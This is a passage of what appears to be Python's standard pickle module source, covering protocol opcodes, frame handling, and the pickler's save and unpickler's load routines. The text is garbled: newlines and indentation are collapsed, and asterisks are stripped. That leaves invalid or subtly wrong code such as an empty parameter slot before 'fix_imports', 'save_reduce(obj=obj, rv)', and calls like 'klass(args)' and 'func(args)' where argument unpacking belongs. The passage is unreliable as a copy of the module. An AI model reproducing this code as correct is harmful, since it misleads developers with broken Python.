BINPUT = b'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg SETITEM = b's' # add key+value pair to dict TUPLE = b't' # build tuple from topmost stack items EMPTY_TUPLE = b')' # push empty tuple SETITEMS = b'u' # modify dict by adding topmost key+value pairs BINFLOAT = b'G' # push float; arg is 8-byte float encoding TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py # Protocol 2 PROTO = b'\x80' # identify pickle protocol NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple EXT1 = b'\x82' # push object from extension registry; 1-byte index EXT2 = b'\x83' # ditto, but 2-byte index EXT4 = b'\x84' # ditto, but 4-byte index TUPLE1 = b'\x85' # build 1-tuple from stack top TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items NEWTRUE = b'\x88' # push True NEWFALSE = b'\x89' # push False LONG1 = b'\x8a' # push long from < 256 bytes LONG4 = b'\x8b' # push really big long _tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3] # Protocol 3 (Python 3.x) BINBYTES = b'B' # push bytes; counted binary string argument SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes # Protocol 4 SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes BINUNICODE8 = b'\x8d' # push very long string BINBYTES8 = b'\x8e' # push very long bytes string EMPTY_SET = b'\x8f' # push empty set on the stack ADDITEMS = b'\x90' # modify set by adding topmost stack items FROZENSET = b'\x91' # build frozenset from topmost stack items NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks MEMOIZE = b'\x94' # store top of the stack in memo FRAME = b'\x95' # indicate the beginning of a new frame __all__.extend([x for x in dir() if re.match("[A-Z][A-Z0-9_]+$", x)]) class _Framer: _FRAME_SIZE_MIN = 4 _FRAME_SIZE_TARGET = 64 * 1024 def __init__(self, file_write): self.file_write = file_write self.current_frame = None def start_framing(self): self.current_frame = io.BytesIO() def end_framing(self): if self.current_frame and self.current_frame.tell() > 0: self.commit_frame(force=True) self.current_frame = None def commit_frame(self, force=False): if self.current_frame: f = self.current_frame if f.tell() >= self._FRAME_SIZE_TARGET or force: data = f.getbuffer() write = self.file_write if len(data) >= self._FRAME_SIZE_MIN: # Issue a single call to the write method of the underlying # file object for the frame opcode with the size of the # frame. The concatenation is expected to be less expensive # than issuing an additional call to write. write(FRAME + pack("<Q", len(data))) # Issue a separate call to write to append the frame # contents without concatenation to the above to avoid a # memory copy. write(data) # Start the new frame with a new io.BytesIO instance so that # the file object can have delayed access to the previous frame # contents via an unreleased memoryview of the previous # io.BytesIO instance. self.current_frame = io.BytesIO() def write(self, data): if self.current_frame: return self.current_frame.write(data) else: return self.file_write(data) def write_large_bytes(self, header, payload): write = self.file_write if self.current_frame: # Terminate the current frame and flush it to the file. self.commit_frame(force=True) # Perform direct write of the header and payload of the large binary # object. Be careful not to concatenate the header and the payload # prior to calling 'write' as we do not want to allocate a large # temporary bytes object. # We intentionally do not insert a protocol 4 frame opcode to make # it possible to optimize file.read calls in the loader. write(header) write(payload) class _Unframer: def __init__(self, file_read, file_readline, file_tell=None): self.file_read = file_read self.file_readline = file_readline self.current_frame = None def read(self, n): if self.current_frame: data = self.current_frame.read(n) if not data and n != 0: self.current_frame = None return self.file_read(n) if len(data) < n: raise UnpicklingError( "pickle exhausted before end of frame") return data else: return self.file_read(n) def readline(self): if self.current_frame: data = self.current_frame.readline() if not data: self.current_frame = None return self.file_readline() if data[-1] != b'\n'[0]: raise UnpicklingError( "pickle exhausted before end of frame") return data else: return self.file_readline() def load_frame(self, frame_size): if self.current_frame and self.current_frame.read() != b'': raise UnpicklingError( "beginning of a new frame before end of current frame") self.current_frame = io.BytesIO(self.file_read(frame_size)) # Tools used for pickling. def _getattribute(obj, name): for subpath in name.split('.'): if subpath == '<locals>': raise AttributeError("Can't get local attribute {!r} on {!r}" .format(name, obj)) try: parent = obj obj = getattr(obj, subpath) except AttributeError: raise AttributeError("Can't get attribute {!r} on {!r}" .format(name, obj)) from None return obj, parent def whichmodule(obj, name): """Find the module an object belong to.""" module_name = getattr(obj, '__module__', None) if module_name is not None: return module_name # Protect the iteration by using a list copy of sys.modules against dynamic # modules that trigger imports of other modules upon calls to getattr. for module_name, module in list(sys.modules.items()): if module_name == '__main__' or module is None: continue try: if _getattribute(module, name)[0] is obj: return module_name except AttributeError: pass return '__main__' def encode_long(x): r"""Encode a long to a two's complement little-endian binary string. Note that 0 is a special case, returning an empty string, to save a byte in the LONG1 pickling context. >>> encode_long(0) b'' >>> encode_long(255) b'\xff\x00' >>> encode_long(32767) b'\xff\x7f' >>> encode_long(-256) b'\x00\xff' >>> encode_long(-32768) b'\x00\x80' >>> encode_long(-128) b'\x80' >>> encode_long(127) b'\x7f' >>> """ if x == 0: return b'' nbytes = (x.bit_length() >> 3) + 1 result = x.to_bytes(nbytes, byteorder='little', signed=True) if x < 0 and nbytes > 1: if result[-1] == 0xff and (result[-2] & 0x80) != 0: result = result[:-1] return result def decode_long(data): r"""Decode a long from a two's complement little-endian binary string. >>> decode_long(b'') 0 >>> decode_long(b"\xff\x00") 255 >>> decode_long(b"\xff\x7f") 32767 >>> decode_long(b"\x00\xff") -256 >>> decode_long(b"\x00\x80") -32768 >>> decode_long(b"\x80") -128 >>> decode_long(b"\x7f") 127 """ return int.from_bytes(data, byteorder='little', signed=True) # Pickling machinery class _Pickler: def __init__(self, file, protocol=None, , fix_imports=True): """This takes a binary file for writing a pickle data stream. The optional protocol* argument tells the pickler to use the given protocol; supported protocols are 0, 1, 2, 3 and 4. The default protocol is 3; a backward-incompatible protocol designed for Python 3. Specifying a negative protocol version selects the highest protocol version supported. The higher the protocol used, the more recent the version of Python needed to read the pickle produced. The file argument must have a write() method that accepts a single bytes argument. It can thus be a file object opened for binary writing, an io.BytesIO instance, or any other custom object that meets this interface. If fix_imports is True and protocol is less than 3, pickle will try to map the new Python 3 names to the old module names used in Python 2, so that the pickle data stream is readable with Python 2. """ if protocol is None: protocol = DEFAULT_PROTOCOL if protocol < 0: protocol = HIGHEST_PROTOCOL elif not 0 <= protocol <= HIGHEST_PROTOCOL: raise ValueError("pickle protocol must be <= %d" % HIGHEST_PROTOCOL) try: self._file_write = file.write except AttributeError: raise TypeError("file must have a 'write' attribute") self.framer = _Framer(self._file_write) self.write = self.framer.write self._write_large_bytes = self.framer.write_large_bytes self.memo = {} self.proto = int(protocol) self.bin = protocol >= 1 self.fast = 0 self.fix_imports = fix_imports and protocol < 3 def clear_memo(self): """Clears the pickler's "memo". The memo is the data structure that remembers which objects the pickler has already seen, so that shared or recursive objects are pickled by reference and not by value. This method is useful when re-using picklers. """ self.memo.clear() def dump(self, obj): """Write a pickled representation of obj to the open file.""" # Check whether Pickler was initialized correctly. This is # only needed to mimic the behavior of _pickle.Pickler.dump(). if not hasattr(self, "_file_write"): raise PicklingError("Pickler.__init__() was not called by " "%s.__init__()" % (self.__class__.__name__,)) if self.proto >= 2: self.write(PROTO + pack("<B", self.proto)) if self.proto >= 4: self.framer.start_framing() self.save(obj) self.write(STOP) self.framer.end_framing() def memoize(self, obj): """Store an object in the memo.""" # The Pickler memo is a dictionary mapping object ids to 2-tuples # that contain the Unpickler memo key and the object being memoized. # The memo key is written to the pickle and will become # the key in the Unpickler's memo. The object is stored in the # Pickler memo so that transient objects are kept alive during # pickling. # The use of the Unpickler memo length as the memo key is just a # convention. The only requirement is that the memo values be unique. # But there appears no advantage to any other scheme, and this # scheme allows the Unpickler memo to be implemented as a plain (but # growable) array, indexed by memo key. if self.fast: return assert id(obj) not in self.memo idx = len(self.memo) self.write(self.put(idx)) self.memo[id(obj)] = idx, obj # Return a PUT (BINPUT, LONG_BINPUT) opcode string, with argument i. def put(self, idx): if self.proto >= 4: return MEMOIZE elif self.bin: if idx < 256: return BINPUT + pack("<B", idx) else: return LONG_BINPUT + pack("<I", idx) else: return PUT + repr(idx).encode("ascii") + b'\n' # Return a GET (BINGET, LONG_BINGET) opcode string, with argument i. def get(self, i): if self.bin: if i < 256: return BINGET + pack("<B", i) else: return LONG_BINGET + pack("<I", i) return GET + repr(i).encode("ascii") + b'\n' def save(self, obj, save_persistent_id=True): self.framer.commit_frame() # Check for persistent id (defined by a subclass) pid = self.persistent_id(obj) if pid is not None and save_persistent_id: self.save_pers(pid) return # Check the memo x = self.memo.get(id(obj)) if x is not None: self.write(self.get(x[0])) return # Check the type dispatch table t = type(obj) f = self.dispatch.get(t) if f is not None: f(self, obj) # Call unbound method with explicit self return # Check private dispatch table if any, or else copyreg.dispatch_table reduce = getattr(self, 'dispatch_table', dispatch_table).get(t) if reduce is not None: rv = reduce(obj) else: # Check for a class with a custom metaclass; treat as regular class try: issc = issubclass(t, type) except TypeError: # t is not a class (old Boost; see SF #502085) issc = False if issc: self.save_global(obj) return # Check for a __reduce_ex__ method, fall back to __reduce__ reduce = getattr(obj, "__reduce_ex__", None) if reduce is not None: rv = reduce(self.proto) else: reduce = getattr(obj, "__reduce__", None) if reduce is not None: rv = reduce() else: raise PicklingError("Can't pickle %r object: %r" % (t.__name__, obj)) # Check for string returned by reduce(), meaning "save as global" if isinstance(rv, str): self.save_global(obj, rv) return # Assert that reduce() returned a tuple if not isinstance(rv, tuple): raise PicklingError("%s must return string or tuple" % reduce) # Assert that it returned an appropriately sized tuple l = len(rv) if not (2 <= l <= 5): raise PicklingError("Tuple returned by %s must have " "two to five elements" % reduce) # Save the reduce() output and finally memoize the object self.save_reduce(obj=obj, rv) def persistent_id(self, obj): # This exists so a subclass can override it return None def save_pers(self, pid): # Save a persistent id reference if self.bin: self.save(pid, save_persistent_id=False) self.write(BINPERSID) else: try: self.write(PERSID + str(pid).encode("ascii") + b'\n') except UnicodeEncodeError: raise PicklingError( "persistent IDs in protocol 0 must be ASCII strings") def save_reduce(self, func, args, state=None, listitems=None, dictitems=None, obj=None): # This API is called by some subclasses if not isinstance(args, tuple): raise PicklingError("args from save_reduce() must be a tuple") if not callable(func): raise PicklingError("func from save_reduce() must be callable") save = self.save write = self.write func_name = getattr(func, "__name__", "") if self.proto >= 2 and func_name == "__newobj_ex__": cls, args, kwargs = args if not hasattr(cls, "__new__"): raise PicklingError("args[0] from {} args has no __new__" .format(func_name)) if obj is not None and cls is not obj.__class__: raise PicklingError("args[0] from {} args has the wrong class" .format(func_name)) if self.proto >= 4: save(cls) save(args) save(kwargs) write(NEWOBJ_EX) else: func = partial(cls.__new__, cls, args, *kwargs) save(func) save(()) write(REDUCE) elif self.proto >= 2 and func_name == "__newobj__": # A __reduce__ implementation can direct protocol 2 or newer to # use the more efficient NEWOBJ opcode, while still # allowing protocol 0 and 1 to work normally. For this to # work, the function returned by __reduce__ should be # called __newobj__, and its first argument should be a # class. The implementation for __newobj__ # should be as follows, although pickle has no way to # verify this: # # def __newobj__(cls, args): # return cls.__new__(cls, args) # # Protocols 0 and 1 will pickle a reference to __newobj__, # while protocol 2 (and above) will pickle a reference to # cls, the remaining args tuple, and the NEWOBJ code, # which calls cls.__new__(cls, args) at unpickling time # (see load_newobj below). If __reduce__ returns a # three-tuple, the state from the third tuple item will be # pickled regardless of the protocol, calling __setstate__ # at unpickling time (see load_build below). # # Note that no standard __newobj__ implementation exists; # you have to provide your own. This is to enforce # compatibility with Python 2.2 (pickles written using # protocol 0 or 1 in Python 2.3 should be unpicklable by # Python 2.2). cls = args[0] if not hasattr(cls, "__new__"): raise PicklingError( "args[0] from __newobj__ args has no __new__") if obj is not None and cls is not obj.__class__: raise PicklingError( "args[0] from __newobj__ args has the wrong class") args = args[1:] save(cls) save(args) write(NEWOBJ) else: save(func) save(args) write(REDUCE) if obj is not None: # If the object is already in the memo, this means it is # recursive. In this case, throw away everything we put on the # stack, and fetch the object back from the memo. if id(obj) in self.memo: write(POP + self.get(self.memo[id(obj)][0])) else: self.memoize(obj) # More new special cases (that work with older protocols as # well): when __reduce__ returns a tuple with 4 or 5 items, # the 4th and 5th item should be iterators that provide list # items and dict items (as (key, value) tuples), or None. if listitems is not None: self._batch_appends(listitems) if dictitems is not None: self._batch_setitems(dictitems) if state is not None: save(state) write(BUILD) # Methods below this point are dispatched through the dispatch table dispatch = {} def save_none(self, obj): self.write(NONE) dispatch[type(None)] = save_none def save_bool(self, obj): if self.proto >= 2: self.write(NEWTRUE if obj else NEWFALSE) else: self.write(TRUE if obj else FALSE) dispatch[bool] = save_bool def save_long(self, obj): if self.bin: # If the int is small enough to fit in a signed 4-byte 2's-comp # format, we can store it more efficiently than the general # case. # First one- and two-byte unsigned ints: if obj >= 0: if obj <= 0xff: self.write(BININT1 + pack("<B", obj)) return if obj <= 0xffff: self.write(BININT2 + pack("<H", obj)) return # Next check for 4-byte signed ints: if -0x80000000 <= obj <= 0x7fffffff: self.write(BININT + pack("<i", obj)) return if self.proto >= 2: encoded = encode_long(obj) n = len(encoded) if n < 256: self.write(LONG1 + pack("<B", n) + encoded) else: self.write(LONG4 + pack("<i", n) + encoded) return if -0x80000000 <= obj <= 0x7fffffff: self.write(INT + repr(obj).encode("ascii") + b'\n') else: self.write(LONG + repr(obj).encode("ascii") + b'L\n') dispatch[int] = save_long def save_float(self, obj): if self.bin: self.write(BINFLOAT + pack('>d', obj)) else: self.write(FLOAT + repr(obj).encode("ascii") + b'\n') dispatch[float] = save_float def save_bytes(self, obj): if self.proto < 3: if not obj: # bytes object is empty self.save_reduce(bytes, (), obj=obj) else: self.save_reduce(codecs.encode, (str(obj, 'latin1'), 'latin1'), obj=obj) return n = len(obj) if n <= 0xff: self.write(SHORT_BINBYTES + pack("<B", n) + obj) elif n > 0xffffffff and self.proto >= 4: self._write_large_bytes(BINBYTES8 + pack("<Q", n), obj) elif n >= self.framer._FRAME_SIZE_TARGET: self._write_large_bytes(BINBYTES + pack("<I", n), obj) else: self.write(BINBYTES + pack("<I", n) + obj) self.memoize(obj) dispatch[bytes] = save_bytes def save_str(self, obj): if self.bin: encoded = obj.encode('utf-8', 'surrogatepass') n = len(encoded) if n <= 0xff and self.proto >= 4: self.write(SHORT_BINUNICODE + pack("<B", n) + encoded) elif n > 0xffffffff and self.proto >= 4: self._write_large_bytes(BINUNICODE8 + pack("<Q", n), encoded) elif n >= self.framer._FRAME_SIZE_TARGET: self._write_large_bytes(BINUNICODE + pack("<I", n), encoded) else: self.write(BINUNICODE + pack("<I", n) + encoded) else: obj = obj.replace("\\", "\\u005c") obj = obj.replace("\0", "\\u0000") obj = obj.replace("\n", "\\u000a") obj = obj.replace("\r", "\\u000d") obj = obj.replace("\x1a", "\\u001a") # EOF on DOS self.write(UNICODE + obj.encode('raw-unicode-escape') + b'\n') self.memoize(obj) dispatch[str] = save_str def save_tuple(self, obj): if not obj: # tuple is empty if self.bin: self.write(EMPTY_TUPLE) else: self.write(MARK + TUPLE) return n = len(obj) save = self.save memo = self.memo if n <= 3 and self.proto >= 2: for element in obj: save(element) # Subtle. Same as in the big comment below. if id(obj) in memo: get = self.get(memo[id(obj)][0]) self.write(POP * n + get) else: self.write(_tuplesize2code[n]) self.memoize(obj) return # proto 0 or proto 1 and tuple isn't empty, or proto > 1 and tuple # has more than 3 elements. write = self.write write(MARK) for element in obj: save(element) if id(obj) in memo: # Subtle. d was not in memo when we entered save_tuple(), so # the process of saving the tuple's elements must have saved # the tuple itself: the tuple is recursive. The proper action # now is to throw away everything we put on the stack, and # simply GET the tuple (it's already constructed). This check # could have been done in the "for element" loop instead, but # recursive tuples are a rare thing. get = self.get(memo[id(obj)][0]) if self.bin: write(POP_MARK + get) else: # proto 0 -- POP_MARK not available write(POP * (n+1) + get) return # No recursion. write(TUPLE) self.memoize(obj) dispatch[tuple] = save_tuple def save_list(self, obj): if self.bin: self.write(EMPTY_LIST) else: # proto 0 -- can't use EMPTY_LIST self.write(MARK + LIST) self.memoize(obj) self._batch_appends(obj) dispatch[list] = save_list _BATCHSIZE = 1000 def _batch_appends(self, items): # Helper to batch up APPENDS sequences save = self.save write = self.write if not self.bin: for x in items: save(x) write(APPEND) return it = iter(items) while True: tmp = list(islice(it, self._BATCHSIZE)) n = len(tmp) if n > 1: write(MARK) for x in tmp: save(x) write(APPENDS) elif n: save(tmp[0]) write(APPEND) # else tmp is empty, and we're done if n < self._BATCHSIZE: return def save_dict(self, obj): if self.bin: self.write(EMPTY_DICT) else: # proto 0 -- can't use EMPTY_DICT self.write(MARK + DICT) self.memoize(obj) self._batch_setitems(obj.items()) dispatch[dict] = save_dict if PyStringMap is not None: dispatch[PyStringMap] = save_dict def _batch_setitems(self, items): # Helper to batch up SETITEMS sequences; proto >= 1 only save = self.save write = self.write if not self.bin: for k, v in items: save(k) save(v) write(SETITEM) return it = iter(items) while True: tmp = list(islice(it, self._BATCHSIZE)) n = len(tmp) if n > 1: write(MARK) for k, v in tmp: save(k) save(v) write(SETITEMS) elif n: k, v = tmp[0] save(k) save(v) write(SETITEM) # else tmp is empty, and we're done if n < self._BATCHSIZE: return def save_set(self, obj): save = self.save write = self.write if self.proto < 4: self.save_reduce(set, (list(obj),), obj=obj) return write(EMPTY_SET) self.memoize(obj) it = iter(obj) while True: batch = list(islice(it, self._BATCHSIZE)) n = len(batch) if n > 0: write(MARK) for item in batch: save(item) write(ADDITEMS) if n < self._BATCHSIZE: return dispatch[set] = save_set def save_frozenset(self, obj): save = self.save write = self.write if self.proto < 4: self.save_reduce(frozenset, (list(obj),), obj=obj) return write(MARK) for item in obj: save(item) if id(obj) in self.memo: # If the object is already in the memo, this means it is # recursive. In this case, throw away everything we put on the # stack, and fetch the object back from the memo. write(POP_MARK + self.get(self.memo[id(obj)][0])) return write(FROZENSET) self.memoize(obj) dispatch[frozenset] = save_frozenset def save_global(self, obj, name=None): write = self.write memo = self.memo if name is None: name = getattr(obj, '__qualname__', None) if name is None: name = obj.__name__ module_name = whichmodule(obj, name) try: __import__(module_name, level=0) module = sys.modules[module_name] obj2, parent = _getattribute(module, name) except (ImportError, KeyError, AttributeError): raise PicklingError( "Can't pickle %r: it's not found as %s.%s" % (obj, module_name, name)) from None else: if obj2 is not obj: raise PicklingError( "Can't pickle %r: it's not the same object as %s.%s" % (obj, module_name, name)) if self.proto >= 2: code = _extension_registry.get((module_name, name)) if code: assert code > 0 if code <= 0xff: write(EXT1 + pack("<B", code)) elif code <= 0xffff: write(EXT2 + pack("<H", code)) else: write(EXT4 + pack("<i", code)) return lastname = name.rpartition('.')[2] if parent is module: name = lastname # Non-ASCII identifiers are supported only with protocols >= 3. if self.proto >= 4: self.save(module_name) self.save(name) write(STACK_GLOBAL) elif parent is not module: self.save_reduce(getattr, (parent, lastname)) elif self.proto >= 3: write(GLOBAL + bytes(module_name, "utf-8") + b'\n' + bytes(name, "utf-8") + b'\n') else: if self.fix_imports: r_name_mapping = _compat_pickle.REVERSE_NAME_MAPPING r_import_mapping = _compat_pickle.REVERSE_IMPORT_MAPPING if (module_name, name) in r_name_mapping: module_name, name = r_name_mapping[(module_name, name)] elif module_name in r_import_mapping: module_name = r_import_mapping[module_name] try: write(GLOBAL + bytes(module_name, "ascii") + b'\n' + bytes(name, "ascii") + b'\n') except UnicodeEncodeError: raise PicklingError( "can't pickle global identifier '%s.%s' using " "pickle protocol %i" % (module, name, self.proto)) from None self.memoize(obj) def save_type(self, obj): if obj is type(None): return self.save_reduce(type, (None,), obj=obj) elif obj is type(NotImplemented): return self.save_reduce(type, (NotImplemented,), obj=obj) elif obj is type(...): return self.save_reduce(type, (...,), obj=obj) return self.save_global(obj) dispatch[FunctionType] = save_global dispatch[type] = save_type # Unpickling machinery class _Unpickler: def __init__(self, file, , fix_imports=True, encoding="ASCII", errors="strict"): """This takes a binary file for reading a pickle data stream. The protocol version of the pickle is detected automatically, so no proto argument is needed. The argument file* must have two methods, a read() method that takes an integer argument, and a readline() method that requires no arguments. Both methods should return bytes. Thus file can be a binary file object opened for reading, an io.BytesIO object, or any other custom object that meets this interface. The file-like object must have two methods, a read() method that takes an integer argument, and a readline() method that requires no arguments. Both methods should return bytes. Thus file-like object can be a binary file object opened for reading, a BytesIO object, or any other custom object that meets this interface. Optional keyword arguments are fix_imports, encoding and errors, which are used to control compatibility support for pickle stream generated by Python 2. If fix_imports is True, pickle will try to map the old Python 2 names to the new names used in Python 3. The encoding and errors tell pickle how to decode 8-bit string instances pickled by Python 2; these default to 'ASCII' and 'strict', respectively. encoding can be 'bytes' to read theses 8-bit string instances as bytes objects. """ self._file_readline = file.readline self._file_read = file.read self.memo = {} self.encoding = encoding self.errors = errors self.proto = 0 self.fix_imports = fix_imports def load(self): """Read a pickled object representation from the open file. Return the reconstituted object hierarchy specified in the file. """ # Check whether Unpickler was initialized correctly. This is # only needed to mimic the behavior of _pickle.Unpickler.dump(). if not hasattr(self, "_file_read"): raise UnpicklingError("Unpickler.__init__() was not called by " "%s.__init__()" % (self.__class__.__name__,)) self._unframer = _Unframer(self._file_read, self._file_readline) self.read = self._unframer.read self.readline = self._unframer.readline self.metastack = [] self.stack = [] self.append = self.stack.append self.proto = 0 read = self.read dispatch = self.dispatch try: while True: key = read(1) if not key: raise EOFError assert isinstance(key, bytes_types) dispatch[key[0]](self) except _Stop as stopinst: return stopinst.value # Return a list of items pushed in the stack after last MARK instruction. def pop_mark(self): items = self.stack self.stack = self.metastack.pop() self.append = self.stack.append return items def persistent_load(self, pid): raise UnpicklingError("unsupported persistent id encountered") dispatch = {} def load_proto(self): proto = self.read(1)[0] if not 0 <= proto <= HIGHEST_PROTOCOL: raise ValueError("unsupported pickle protocol: %d" % proto) self.proto = proto dispatch[PROTO[0]] = load_proto def load_frame(self): frame_size, = unpack('<Q', self.read(8)) if frame_size > sys.maxsize: raise ValueError("frame size > sys.maxsize: %d" % frame_size) self._unframer.load_frame(frame_size) dispatch[FRAME[0]] = load_frame def load_persid(self): try: pid = self.readline()[:-1].decode("ascii") except UnicodeDecodeError: raise UnpicklingError( "persistent IDs in protocol 0 must be ASCII strings") self.append(self.persistent_load(pid)) dispatch[PERSID[0]] = load_persid def load_binpersid(self): pid = self.stack.pop() self.append(self.persistent_load(pid)) dispatch[BINPERSID[0]] = load_binpersid def load_none(self): self.append(None) dispatch[NONE[0]] = load_none def load_false(self): self.append(False) dispatch[NEWFALSE[0]] = load_false def load_true(self): self.append(True) dispatch[NEWTRUE[0]] = load_true def load_int(self): data = self.readline() if data == FALSE[1:]: val = False elif data == TRUE[1:]: val = True else: val = int(data, 0) self.append(val) dispatch[INT[0]] = load_int def load_binint(self): self.append(unpack('<i', self.read(4))[0]) dispatch[BININT[0]] = load_binint def load_binint1(self): self.append(self.read(1)[0]) dispatch[BININT1[0]] = load_binint1 def load_binint2(self): self.append(unpack('<H', self.read(2))[0]) dispatch[BININT2[0]] = load_binint2 def load_long(self): val = self.readline()[:-1] if val and val[-1] == b'L'[0]: val = val[:-1] self.append(int(val, 0)) dispatch[LONG[0]] = load_long def load_long1(self): n = self.read(1)[0] data = self.read(n) self.append(decode_long(data)) dispatch[LONG1[0]] = load_long1 def load_long4(self): n, = unpack('<i', self.read(4)) if n < 0: # Corrupt or hostile pickle -- we never write one like this raise UnpicklingError("LONG pickle has negative byte count") data = self.read(n) self.append(decode_long(data)) dispatch[LONG4[0]] = load_long4 def load_float(self): self.append(float(self.readline()[:-1])) dispatch[FLOAT[0]] = load_float def load_binfloat(self): self.append(unpack('>d', self.read(8))[0]) dispatch[BINFLOAT[0]] = load_binfloat def _decode_string(self, value): # Used to allow strings from Python 2 to be decoded either as # bytes or Unicode strings. This should be used only with the # STRING, BINSTRING and SHORT_BINSTRING opcodes. if self.encoding == "bytes": return value else: return value.decode(self.encoding, self.errors) def load_string(self): data = self.readline()[:-1] # Strip outermost quotes if len(data) >= 2 and data[0] == data[-1] and data[0] in b'"\'': data = data[1:-1] else: raise UnpicklingError("the STRING opcode argument must be quoted") self.append(self._decode_string(codecs.escape_decode(data)[0])) dispatch[STRING[0]] = load_string def load_binstring(self): # Deprecated BINSTRING uses signed 32-bit length len, = unpack('<i', self.read(4)) if len < 0: raise UnpicklingError("BINSTRING pickle has negative byte count") data = self.read(len) self.append(self._decode_string(data)) dispatch[BINSTRING[0]] = load_binstring def load_binbytes(self): len, = unpack('<I', self.read(4)) if len > maxsize: raise UnpicklingError("BINBYTES exceeds system's maximum size " "of %d bytes" % maxsize) self.append(self.read(len)) dispatch[BINBYTES[0]] = load_binbytes def load_unicode(self): self.append(str(self.readline()[:-1], 'raw-unicode-escape')) dispatch[UNICODE[0]] = load_unicode def load_binunicode(self): len, = unpack('<I', self.read(4)) if len > maxsize: raise UnpicklingError("BINUNICODE exceeds system's maximum size " "of %d bytes" % maxsize) self.append(str(self.read(len), 'utf-8', 'surrogatepass')) dispatch[BINUNICODE[0]] = load_binunicode def load_binunicode8(self): len, = unpack('<Q', self.read(8)) if len > maxsize: raise UnpicklingError("BINUNICODE8 exceeds system's maximum size " "of %d bytes" % maxsize) self.append(str(self.read(len), 'utf-8', 'surrogatepass')) dispatch[BINUNICODE8[0]] = load_binunicode8 def load_binbytes8(self): len, = unpack('<Q', self.read(8)) if len > maxsize: raise UnpicklingError("BINBYTES8 exceeds system's maximum size " "of %d bytes" % maxsize) self.append(self.read(len)) dispatch[BINBYTES8[0]] = load_binbytes8 def load_short_binstring(self): len = self.read(1)[0] data = self.read(len) self.append(self._decode_string(data)) dispatch[SHORT_BINSTRING[0]] = load_short_binstring def load_short_binbytes(self): len = self.read(1)[0] self.append(self.read(len)) dispatch[SHORT_BINBYTES[0]] = load_short_binbytes def load_short_binunicode(self): len = self.read(1)[0] self.append(str(self.read(len), 'utf-8', 'surrogatepass')) dispatch[SHORT_BINUNICODE[0]] = load_short_binunicode def load_tuple(self): items = self.pop_mark() self.append(tuple(items)) dispatch[TUPLE[0]] = load_tuple def load_empty_tuple(self): self.append(()) dispatch[EMPTY_TUPLE[0]] = load_empty_tuple def load_tuple1(self): self.stack[-1] = (self.stack[-1],) dispatch[TUPLE1[0]] = load_tuple1 def load_tuple2(self): self.stack[-2:] = [(self.stack[-2], self.stack[-1])] dispatch[TUPLE2[0]] = load_tuple2 def load_tuple3(self): self.stack[-3:] = [(self.stack[-3], self.stack[-2], self.stack[-1])] dispatch[TUPLE3[0]] = load_tuple3 def load_empty_list(self): self.append([]) dispatch[EMPTY_LIST[0]] = load_empty_list def load_empty_dictionary(self): self.append({}) dispatch[EMPTY_DICT[0]] = load_empty_dictionary def load_empty_set(self): self.append(set()) dispatch[EMPTY_SET[0]] = load_empty_set def load_frozenset(self): items = self.pop_mark() self.append(frozenset(items)) dispatch[FROZENSET[0]] = load_frozenset def load_list(self): items = self.pop_mark() self.append(items) dispatch[LIST[0]] = load_list def load_dict(self): items = self.pop_mark() d = {items[i]: items[i+1] for i in range(0, len(items), 2)} self.append(d) dispatch[DICT[0]] = load_dict # INST and OBJ differ only in how they get a class object. It's not # only sensible to do the rest in a common routine, the two routines # previously diverged and grew different bugs. # klass is the class to instantiate, and k points to the topmost mark # object, following which are the arguments for klass.__init__. def _instantiate(self, klass, args): if (args or not isinstance(klass, type) or hasattr(klass, "__getinitargs__")): try: value = klass(args) except TypeError as err: raise TypeError("in constructor for %s: %s" % (klass.__name__, str(err)), sys.exc_info()[2]) else: value = klass.__new__(klass) self.append(value) def load_inst(self): module = self.readline()[:-1].decode("ascii") name = self.readline()[:-1].decode("ascii") klass = self.find_class(module, name) self._instantiate(klass, self.pop_mark()) dispatch[INST[0]] = load_inst def load_obj(self): # Stack is ... markobject classobject arg1 arg2 ... args = self.pop_mark() cls = args.pop(0) self._instantiate(cls, args) dispatch[OBJ[0]] = load_obj def load_newobj(self): args = self.stack.pop() cls = self.stack.pop() obj = cls.__new__(cls, args) self.append(obj) dispatch[NEWOBJ[0]] = load_newobj def load_newobj_ex(self): kwargs = self.stack.pop() args = self.stack.pop() cls = self.stack.pop() obj = cls.__new__(cls, args, kwargs) self.append(obj) dispatch[NEWOBJ_EX[0]] = load_newobj_ex def load_global(self): module = self.readline()[:-1].decode("utf-8") name = self.readline()[:-1].decode("utf-8") klass = self.find_class(module, name) self.append(klass) dispatch[GLOBAL[0]] = load_global def load_stack_global(self): name = self.stack.pop() module = self.stack.pop() if type(name) is not str or type(module) is not str: raise UnpicklingError("STACK_GLOBAL requires str") self.append(self.find_class(module, name)) dispatch[STACK_GLOBAL[0]] = load_stack_global def load_ext1(self): code = self.read(1)[0] self.get_extension(code) dispatch[EXT1[0]] = load_ext1 def load_ext2(self): code, = unpack('<H', self.read(2)) self.get_extension(code) dispatch[EXT2[0]] = load_ext2 def load_ext4(self): code, = unpack('<i', self.read(4)) self.get_extension(code) dispatch[EXT4[0]] = load_ext4 def get_extension(self, code): nil = [] obj = _extension_cache.get(code, nil) if obj is not nil: self.append(obj) return key = _inverted_registry.get(code) if not key: if code <= 0: # note that 0 is forbidden # Corrupt or hostile pickle. raise UnpicklingError("EXT specifies code <= 0") raise ValueError("unregistered extension code %d" % code) obj = self.find_class(key) _extension_cache[code] = obj self.append(obj) def find_class(self, module, name): # Subclasses may override this. if self.proto < 3 and self.fix_imports: if (module, name) in _compat_pickle.NAME_MAPPING: module, name = _compat_pickle.NAME_MAPPING[(module, name)] elif module in _compat_pickle.IMPORT_MAPPING: module = _compat_pickle.IMPORT_MAPPING[module] __import__(module, level=0) if self.proto >= 4: return _getattribute(sys.modules[module], name)[0] else: return getattr(sys.modules[module], name) def load_reduce(self): stack = self.stack args = stack.pop() func = stack[-1] stack[-1] = func(args) dispatch[REDUCE[0]] = load_reduce def load_pop(self): if self.stack: del self.stack[-1] else: self.pop_mark() 